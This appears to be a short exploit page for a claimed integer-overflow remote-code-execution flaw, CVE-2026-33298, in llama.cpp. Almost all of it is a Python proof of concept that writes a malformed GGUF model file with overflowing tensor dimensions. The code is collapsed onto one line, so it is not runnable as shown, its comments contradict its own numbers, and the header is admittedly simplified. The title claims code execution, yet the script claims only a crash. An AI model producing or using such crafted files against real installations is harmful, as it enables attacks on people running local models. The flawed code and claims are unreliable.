CVE-2026-33298 llama.cpp整数溢出致RCE漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-33298: Integer Overflow in llama.cpp ggml_nbytes # This script demonstrates how to craft a tensor dimension that triggers an overflow. import struct def create_malicious_gguf_header(): # GGUF Magic Number magic = b'GGUF' version = struct.pack('<I', 3) # GGUF version 3 tensor_count = struct.pack('<Q', 1) # 1 Tensor # Tensor Name name_len = struct.pack('<Q', 4) name = b'test' # Tensor Dimensions (n_dims) n_dims = struct.pack('<I', 2) # 2 dimensions # Exploit: Set dimensions such that (dim1 * dim2 * type_size) overflows # Assuming type Q4_0 (block size 32 bytes, block count calculated internally) # or simply F32 (4 bytes). If we calculate elements = dim1 * dim2. # If elements = 0x100000001, and type_size = 4, total = 0x400000004. # In 32-bit arithmetic, this wraps to 4. # Triggering the overflow in ggml_nbytes calculation # We want a huge number of elements that wraps to a small size dim1 = 0x10000 dim2 = 0x10000 # Product = 0x100000000 # Pack dimensions dims = struct.pack('<Q', dim1) + struct.pack('<Q', dim2) # Tensor Type (e.g., F32 = 0) tensor_type = struct.pack('<I', 0) # Offset to tensor data (arbitrary for PoC) offset = struct.pack('<Q', 1024) # Constructing a minimal malicious structure (Simplified) payload = magic + version + tensor_count + name_len + name + n_dims + dims + tensor_type + offset print("[+] Malicious GGUF structure generated.") print("[+] Dimensions: {} x {}".format(dim1, dim2)) print("[+] Attempting to save to 'exploit.gguf'...") with open('exploit.gguf', 'wb') as f: f.write(payload) print("[+] File saved. Load this in a vulnerable llama.cpp version to trigger the crash.") if __name__ == "__main__": create_malicious_gguf_header()